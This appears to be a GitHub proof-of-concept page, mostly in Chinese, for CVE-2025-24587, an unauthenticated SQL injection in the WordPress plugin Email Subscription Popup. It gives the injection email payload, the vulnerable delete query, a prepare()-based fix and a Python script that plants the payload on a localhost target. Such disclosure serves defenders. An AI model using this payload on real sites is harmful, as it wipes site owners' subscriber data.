dottak/cve-2025-24587PoC of CVE-2025-24587
WordPress 插件
组件名称 Email Subscription Popup
受影响版本 <= 1.2.23
组件 slug email-subscribe
组件链接 https://wordpress.org/plugins/email-subscribe/
漏洞类别 A3: 注入
漏洞类型 SQL 注入
无需身份认证
未授权用户（攻击者）使用包含 SQL 注入负载的电子邮件地址订阅新闻通讯。当管理员访问“订阅者管理”页面，选中该恶意电子邮件地址并请求删除时，嵌入在电子邮件地址中的 SQL 注入负载会被执行。结果，数据库中的所有订阅电子邮件地址都将被删除。
poc.py.txt 文件（已附上），以包含触发 SQL 注入漏洞的负载的电子邮件地址订阅新闻通讯：
'/**/OR/**/1=1#@a.ahttp://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management'/****/**OR**/****/1=1#@a.a，然后点击底部的“删除选中订阅者”按钮。[漏洞原因]
该漏洞出现在文件 wp-content/plugins/email-subscribe/wp-email-subscription.php 的第 2080 至 2084 行之间：
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의
# line 2083 ~ line 2084
$query = "delete from " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);
要解决此问题，可以使用 WordPress 提供的 $wpdb->prepare() 函数。该函数能够安全地转义和格式化 SQL 查询中使用的变量，以防止 SQL 注入攻击。
$query = $wpdb->prepare(
"DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
$em
);
$wpdb->query($query);
import re
import string
import random
import requests
TARGET = "http://localhost:8080"
def poc():
####
# 1. Retrieve the value of 'sec_string' required for email subscription
####
resp = requests.get(f"{TARGET}")
pattern = r'var nonce = \'(.{10})\';'
match = re.search(pattern, resp.text)
if match:
sec_string = match.group(1)
print("[*] sec_string: " + sec_string)
####
# 2. Generate subscribers with random email addresses
####
random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
for i in range(10):
data = {
"action": "store_email",
"email": f"{random_string}_{i}@example.com",
"name": f"{random_string}_{i}",
"is_agreed": "true",
"sec_string": sec_string
}
print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
####
# 3. Create a malicious email address to delete all subscriptions
####
data = {
"action": "store_email",
"email": "'/**/OR/**/1=1#@a.a",
"name": "Email mine",
"is_agreed": "true",
"sec_string": sec_string
}
print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
else:
print("[-] 'sec_string' not found")
if __name__ == "__main__":
poc()
